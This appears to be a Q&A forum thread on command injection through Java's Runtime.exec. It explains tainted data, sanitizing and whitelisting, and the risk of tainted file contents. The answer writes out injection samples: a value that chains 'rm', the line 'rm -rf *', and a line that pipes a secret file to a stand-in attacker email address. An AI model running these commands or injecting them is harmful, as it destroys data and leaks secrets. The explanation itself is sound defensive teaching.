As per mine understanding from site OS(linux/windows) command execution is possible only when i am using any string as parameter in Runtime.exec
My question is if i do not use any request parameter (coming from user) or in fact any string under Runtime.exec is OS command execution possible ? My answer is it should not be possble in any way.
The safest thing is always to avoid calls like system()
or exec()
-- and indeed in some organisations you absolutely won't pass a security review if your application does so.
However, as you've hinted, you can take steps to make it safe. A useful concept is that of "tainted" data. A piece of data provided by the user or client is tainted. A piece of data built from tainted data, is also tainted. You can "untaint* data, for example by mapping it to a whitelisted set of options, or by cleaning it.
String name = request.getBody(); // tainted
String cmd = "grep " + name + " customers.txt"; // also tainted
String cleanName = sanitize(name); // untainted
String cleanerName = validNameMap.get(name); // untainted
String literal = "a literal string"; // untainted
You can see how if request.getBody()
returns slim
then grep slim customers.txt
is safe. However if the user supplied data is slim customers.txt; rm
, the resulting cmd
of grep slim customers.txt; rm customers.txt
is bad news.
sanitize()
might do things like strip out everything but a-zA-Z
.
There is quite a lot scope for sanitizing routines to be naive, and not thorough enough, and this can be an attack vector -- so whitelists are considered safer.
(There are tools for many languages which can analyse code, and warn you if data derived from an untrusted source is written to an unsafe destination: https://www.owasp.org/index.php/Source_Code_Analysis_Tools )
If the string(s) passed to exec()
are untainted, that's a step towards safety. However there are still ways for this to be dangerous. Consider:
String command = "/usr/local/bin/myProgram";
String path = "/tmp/inputfile";
createNewFile(path, request.getBody());
runtime.exec(command, path);
Now, both command
and path
are untainted -- they are not supplied by the user -- but we are passing tained data to myProgram
via the file, and there's a risk that myProgram will do something dangerous with the data.
The most obvious example of this would be if command
was /bin/bash
, and the request body was something like rm -rf *
or cat secretFile | mail blackhat@naughtyhacker.com
.
But there are plenty of more subtle ways this could be risky. Perhaps myprogram
uses the content of the file to build SQL requests, for example.
You can mitigate these risks in various places. You can sanitize the data before writing it to the file, or you can make it clear in your security model that the content of the file is tainted, myprogram
must treat it as such, and do its own untainting.